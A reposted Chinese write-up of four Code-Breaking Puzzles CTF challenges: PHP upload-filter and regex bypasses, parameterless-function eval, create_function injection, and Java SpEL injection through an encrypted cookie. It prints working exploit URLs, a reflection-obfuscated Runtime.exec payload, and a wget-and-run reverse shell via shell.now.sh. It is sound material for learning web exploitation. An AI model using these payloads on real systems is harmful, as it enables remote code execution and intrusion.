转载

Code-Breaking Puzzles 做题记录

代码审计圈子里看到Code-Breaking Puzzles,跟着学习着做下。

地址: https://code-breaking.com/

给P神的代码审计圈子打个广告,199元你买不了吃亏买不了上当:

Code-Breaking Puzzles 做题记录

easy - pcrewaf

这个题最开始做上来的,但是做出来了个非预期解。

最开始的题目:

<?php
function is_php($data){
    return preg_match('/</?.*[/(/`].*/is', $data);
}

if(empty($_FILES)) {
    die(show_source(__FILE__));
}
var_dump($_FILES);
$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
    echo "bad request";
} else {
    @mkdir($user_dir, 0755);
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303);
} ?>

只要求不用括号和返单引号,想到了使用include,最后先上传了一个base64后的一句话,然后用include+filter进行包含:

<?
include 'php://filter/convert.base64-decode/resource=10.php';
?>

不太知道为什么直接菜刀连接不上去,最后直接用glob+file_get_contents拿到了flag

chopper=var_dump(glob('../../../*'));
chopper=var_dump(file_get_contents('../../../flag_php7_2_1s_c0rrect'));

后来is_php进行了修改:

function is_php($data){
    return preg_match('/</?.*[(`;?>].*/is', $data);
}

预期解法是利用PHP默认pcre最大回溯10w次(pcre.backtrack_limit=100000),令正则匹配上传内容时回溯超过10w从而匹配失败。

具体解析p神已经发了博客:

https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

easy - phplimit

题目:

<?php
var_dump(__FUNCTION__);
//echo get_defined_vars();
echo  preg_replace('/[^/W]+/((?R)?/)/', '', $_GET['code']);
if(';' === preg_replace('/[^/W]+/((?R)?/)/', '', $_GET['code'])) {    
    eval($_GET['code']);
} else {
	echo"/nerror";
//    show_source(__FILE__);
}

正则允许无限的无参数函数嵌套,并且去掉嵌套的函数以后只剩一个分号。

记得好像有个能获取全局所有变量的函数,查手册查到get_defined_vars函数,结合数组操作函数current、array_values可以拿到GET中的第一个参数(所以a那个参数要在code前面,因为用了array_values所以叫什么无所谓)。

最后的请求:

http://51.158.75.42:8084/?a=var_dump(glob(%27./../*%27));&code=eval(current(array_values(current(array_values(get_defined_vars())))));

http://51.158.75.42:8084/?a=var_dump(glob('./../flag_phpbyp4ss'));&code=eval(current(array_values(current(array_values(get_defined_vars())))));

easy - function

题目:

<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
    show_source(__FILE__);
} else {
    $action('', $arg);
}

需要action不能完全由数字字母下划线组成,想到了命名空间这回事,函数前面加个/就可以用了。

利用create_function函数进行代码执行,

参考:

http://blog.51cto.com/lovexm/1743442

懒一下,直接写结果:

http://51.158.75.42:8087/?action=/create_function&arg=2;}var_dump(glob(%27./../*%27));/*

http://51.158.75.42:8087/?action=/create_function&arg=2;}var_dump(file_get_contents(%27./../flag_h0w2execute_arb1trary_c0de%27));/*

medium - javacon

这个题我想用idea调试来的,参考网上远程调试的文章,并且也把jar文件导入到项目里,最后下了断点还是不停,就先静态看了。。

题目有点类似Shiro反序列化漏洞的利用,Shiro的rememberMe存的是加密后的序列化对象,这个存的是加密后的SPEL。

题目从Cookie中获取remember-me参数并解密:

Code-Breaking Puzzles 做题记录

在getAdvanceValue函数中进行过滤+执行:

Code-Breaking Puzzles 做题记录

过滤规则及加密key:

Code-Breaking Puzzles 做题记录

一般利用java.lang.Runtime.getRuntime().exec(cmd)来执行命令,利用反射来绕过黑名单,最后得到EL:

#{''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',''.getClass()).invoke(''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(null),'xxxxx')}

加密代码:

String a="#{''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',''.getClass()).invoke(''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(null),'sh /tmp/414.sh')}";
        String b=encrypt("c0dehack1nghere1", "0123456789abcdef", a);
        System.out.println(b);

用dnslog测了下可以外连,用之前代码审计圈子提过的shell.now.sh反弹了shell。

似乎是因为http://jackson.thuraisamy.me/runtime-exec-payloads.html编码后的结果包含{},导致EL没法正常执行,最后分成了两条命令:

wget https://shell.now.sh/47.123.123.123:12345 -O /tmp/414.sh
sh /tmp/414.sh

提交:

Code-Breaking Puzzles 做题记录

拿到了flag

Code-Breaking Puzzles 做题记录
原文  https://blog.csdn.net/fnmsd/article/details/84556522
正文到此结束
Loading...